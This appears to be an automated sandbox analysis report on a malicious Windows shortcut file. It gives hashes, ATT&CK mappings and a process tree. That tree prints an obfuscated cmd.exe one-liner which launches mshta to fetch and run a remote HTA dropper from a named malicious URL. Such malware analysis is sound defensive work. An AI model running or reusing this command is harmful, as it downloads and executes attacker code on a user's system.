103b26ff328a326c6682773922dd81785a289f13396301ebf6efb630eed616e7

Analysis

max time kernel
148s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:33

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General

Target
DOC-BI54E0.lnk
Size 1KB
Sample260803-qtyd8a1vgx
SHA256 103b26ff328a326c6682773922dd81785a289f13396301ebf6efb630eed616e7
MD5 a59ac24520125287768d5c3bbf201344
SHA1 9e077962db295f2b7675d2fd4321ab4385fbe76f
SHA512 8ed632c14e869df651513cd6eb9126dafbddf75c1c1647133d163f43080312d105d43ad577b438b14aab8382c941b30337da6e534c64a5f130319b2b82dc9646
TLSH
T1933147503FFD0624F3F79F7398BB5B1089BBB9568E20C61D0151464C1432A15E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4692	cmd.exe
3216	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4692 wrote to memory of 3216	4692	cmd.exe	90
PID 3216 wrote to memory of 4112	3216	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BI54E0.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4692
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set opIcE=msh&&set lT=ta&&start "" !opIcE!!lT! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3216
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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